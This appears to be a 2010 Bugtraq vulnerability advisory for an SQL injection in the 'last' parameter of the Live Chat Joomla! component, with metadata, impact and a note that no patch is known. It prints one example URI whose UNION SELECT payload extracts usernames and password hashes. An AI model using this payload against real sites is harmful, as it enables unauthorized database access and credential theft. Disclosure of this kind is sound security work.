Live Chat Joomla! Component 'last' Parameter SQL Injection Vulnerability

Bugtraq ID:	37681
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jan 08 2010 12:00AM
Updated:	Jan 08 2010 12:00AM
Credit:	FormatXFormaT
Vulnerable:	Joompolitan Live Chat 0
Not Vulnerable:

Live Chat Joomla! Component 'last' Parameter SQL Injection Vulnerability

The Live Chat component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Live Chat Joomla! Component 'last' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/administrator/components/com_livechat/getChat.php?chat=0&last=1/**/union/**/all/**/select/**/1,concat(username,0x3a,password)3

Live Chat Joomla! Component 'last' Parameter SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Live Chat Joomla! Component 'last' Parameter SQL Injection Vulnerability

References:

• Joomla! Homepage (Joomla!)
  
• Live Chat Homepage (Joompolitan)